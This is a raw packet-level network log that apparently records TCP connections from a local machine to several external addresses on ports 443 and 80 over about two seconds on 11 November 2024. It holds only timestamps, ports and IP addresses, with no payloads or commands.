Nov 11, 2024 14:33:05.776947021 CET	49817	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.777065039 CET	49817	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.777080059 CET	443	49817	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.777478933 CET	80	49815	185.215.113.43	192.168.2.4
Nov 11, 2024 14:33:05.793437004 CET	443	49810	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.793478012 CET	443	49810	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.793536901 CET	49810	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.793689966 CET	49810	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.793706894 CET	443	49810	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.793720007 CET	49810	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.793725014 CET	443	49810	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.795600891 CET	49818	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.795639992 CET	443	49818	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.795707941 CET	49818	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.795823097 CET	49818	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.795836926 CET	443	49818	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.802292109 CET	443	49813	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.802643061 CET	49813	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.802655935 CET	443	49813	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.803076982 CET	49813	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.803081036 CET	443	49813	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.817347050 CET	443	49814	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.817751884 CET	49814	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.817776918 CET	443	49814	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.818159103 CET	49814	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.818169117 CET	443	49814	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.895935059 CET	443	49813	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.896013975 CET	443	49813	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.896085024 CET	49813	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.896280050 CET	49813	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.896292925 CET	443	49813	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.896310091 CET	49813	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.896313906 CET	443	49813	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.898849964 CET	49819	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.898880005 CET	443	49819	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.898964882 CET	49819	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.899113894 CET	49819	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.899127960 CET	443	49819	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.910880089 CET	443	49814	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.910926104 CET	443	49814	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.910985947 CET	49814	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.911155939 CET	49814	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.911181927 CET	443	49814	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.911195040 CET	49814	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.911201000 CET	443	49814	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.913436890 CET	49820	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.913461924 CET	443	49820	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:05.913542986 CET	49820	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.913671970 CET	49820	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:05.913687944 CET	443	49820	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.290648937 CET	443	49817	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.291304111 CET	49817	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.291332006 CET	443	49817	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.291397095 CET	443	49816	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.291655064 CET	49816	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.291681051 CET	443	49816	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.291775942 CET	49817	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.291781902 CET	443	49817	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.292121887 CET	49816	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.292144060 CET	443	49816	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.315119028 CET	443	49818	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.315548897 CET	49818	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.315574884 CET	443	49818	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.316062927 CET	49818	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.316080093 CET	443	49818	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.383733034 CET	443	49817	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.383865118 CET	443	49817	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.383913994 CET	49817	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.385390043 CET	49817	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.385402918 CET	443	49817	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.385416031 CET	49817	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.385421038 CET	443	49817	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.386066914 CET	443	49816	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.386137962 CET	443	49816	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.386183977 CET	49816	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.386815071 CET	49816	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.386838913 CET	443	49816	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.386851072 CET	49816	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.386857033 CET	443	49816	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.390192032 CET	49821	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.390229940 CET	443	49821	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.390290976 CET	49821	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.390765905 CET	49821	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.390779018 CET	443	49821	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.393022060 CET	49822	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.393039942 CET	443	49822	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.393105984 CET	49822	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.393276930 CET	49822	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.393290997 CET	443	49822	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.410089970 CET	443	49818	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.410629988 CET	443	49818	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.410691023 CET	49818	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.410727024 CET	49818	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.410748959 CET	443	49818	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.410759926 CET	49818	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.410764933 CET	443	49818	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.412446022 CET	443	49819	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.412940979 CET	49823	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.412960052 CET	443	49823	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.413009882 CET	49823	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.413286924 CET	49819	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.413300037 CET	443	49819	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.413733006 CET	49819	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.413741112 CET	443	49819	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.413866997 CET	49823	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.413877010 CET	443	49823	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.421500921 CET	80	49815	185.215.113.43	192.168.2.4
Nov 11, 2024 14:33:06.421591997 CET	49815	80	192.168.2.4	185.215.113.43
Nov 11, 2024 14:33:06.425734043 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:06.430634022 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:06.430814981 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:06.430958986 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:06.435770988 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:06.444226980 CET	443	49820	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.444664955 CET	49820	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.444673061 CET	443	49820	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.445103884 CET	49820	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.445107937 CET	443	49820	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.506232023 CET	443	49819	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.547738075 CET	49819	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.547759056 CET	443	49819	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.547914982 CET	49819	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.547925949 CET	443	49819	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.547935963 CET	49819	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.548038006 CET	443	49819	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.548062086 CET	443	49819	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.548106909 CET	49819	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.550513983 CET	49825	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.550537109 CET	443	49825	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.550623894 CET	49825	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.550770998 CET	49825	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.550782919 CET	443	49825	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.753201962 CET	443	49820	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.753251076 CET	443	49820	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.753333092 CET	49820	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.753518105 CET	49820	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.753530979 CET	443	49820	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.753540039 CET	49820	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.753544092 CET	443	49820	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.756763935 CET	49826	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.756798029 CET	443	49826	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.756853104 CET	49826	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.757106066 CET	49826	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.757114887 CET	443	49826	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.903239012 CET	443	49821	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.904551983 CET	49821	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.904582977 CET	443	49821	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.905006886 CET	49821	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.905019045 CET	443	49821	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.905025005 CET	443	49822	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.905303001 CET	49822	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.905314922 CET	443	49822	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.905678988 CET	49822	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.905683994 CET	443	49822	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.924670935 CET	443	49823	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.934851885 CET	49823	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.934865952 CET	443	49823	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.935309887 CET	49823	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.935317039 CET	443	49823	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.995620012 CET	443	49821	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.995785952 CET	443	49821	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.995862961 CET	49821	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:06.998773098 CET	443	49822	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.998852968 CET	443	49822	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:06.998909950 CET	49822	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.020114899 CET	49821	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.020142078 CET	443	49821	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.020184040 CET	49821	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.020189047 CET	443	49821	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.024007082 CET	443	49823	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.024127007 CET	443	49823	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.024183989 CET	49823	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.041507006 CET	49822	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.041515112 CET	443	49822	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.041577101 CET	49822	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.041582108 CET	443	49822	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.042182922 CET	49823	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.042182922 CET	49823	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.042205095 CET	443	49823	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.042215109 CET	443	49823	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.044907093 CET	49827	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.044930935 CET	443	49827	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.045006037 CET	49827	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.045197964 CET	49827	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.045211077 CET	443	49827	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.046116114 CET	49828	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.046170950 CET	443	49828	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.046216965 CET	49828	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.046360016 CET	49828	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.046374083 CET	443	49828	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.046871901 CET	49829	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.046900988 CET	443	49829	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.046960115 CET	49829	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.047050953 CET	49829	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.047065020 CET	443	49829	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.069040060 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.069067955 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.069078922 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.069097042 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.069109917 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.069120884 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.069132090 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.069159985 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.069201946 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.069202900 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.069214106 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.069238901 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.069240093 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.069279909 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.069302082 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.069345951 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.074136019 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.074196100 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.074209929 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.074218988 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.074227095 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.074251890 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.074284077 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.182173967 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.182231903 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.182239056 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.182245970 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.182252884 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.182377100 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.182431936 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.182456017 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.182580948 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.182593107 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.182605028 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.182621002 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.182640076 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.182656050 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.182667971 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.182696104 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.182722092 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.183449030 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.183485985 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.183490038 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.183511972 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.183521986 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.183526039 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.183538914 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.183551073 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.183572054 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.183581114 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.184195995 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.184242964 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.184251070 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.184262037 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.184273958 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.184286118 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.184293032 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.184320927 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.185074091 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.185087919 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.185106039 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.185115099 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.185139894 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.279170036 CET	443	49825	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.280306101 CET	443	49826	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.288223982 CET	49825	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.288244963 CET	443	49825	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.288666010 CET	49825	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.288671017 CET	443	49825	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.289514065 CET	49826	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.289530993 CET	443	49826	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.289849997 CET	49826	443	192.168.2.4	13.107.246.45
Nov 11, 2024 14:33:07.289855957 CET	443	49826	13.107.246.45	192.168.2.4
Nov 11, 2024 14:33:07.295237064 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.295281887 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.295320034 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.295372963 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.295386076 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.295413017 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.295413017 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.295427084 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.295439005 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.295454979 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.295469999 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.295491934 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.295672894 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.295713902 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.295727015 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.295774937 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.295787096 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.295840025 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.295840025 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.295840025 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.295840025 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.296695948 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.296711922 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.296722889 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.296732903 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.296732903 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.296742916 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.296756983 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.296762943 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.296768904 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.296782970 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.296796083 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.296811104 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.298042059 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.298088074 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.298089027 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.298125982 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.298176050 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.298187971 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.298199892 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.298213959 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.298217058 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.298228979 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.298239946 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.298242092 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.298254013 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.298266888 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.298269987 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.298290014 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.298310041 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.298324108 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.298325062 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.298336029 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.298348904 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.298355103 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.298371077 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.298378944 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.298394918 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.298422098 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.299143076 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.299156904 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.299175978 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.299185991 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.299194098 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.299200058 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.299206972 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.299218893 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.299221039 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.299235106 CET	80	49824	185.215.113.16	192.168.2.4
Nov 11, 2024 14:33:07.299237013 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.299249887 CET	49824	80	192.168.2.4	185.215.113.16
Nov 11, 2024 14:33:07.299262047 CET	49824	80	192.168.2.4	185.215.113.16
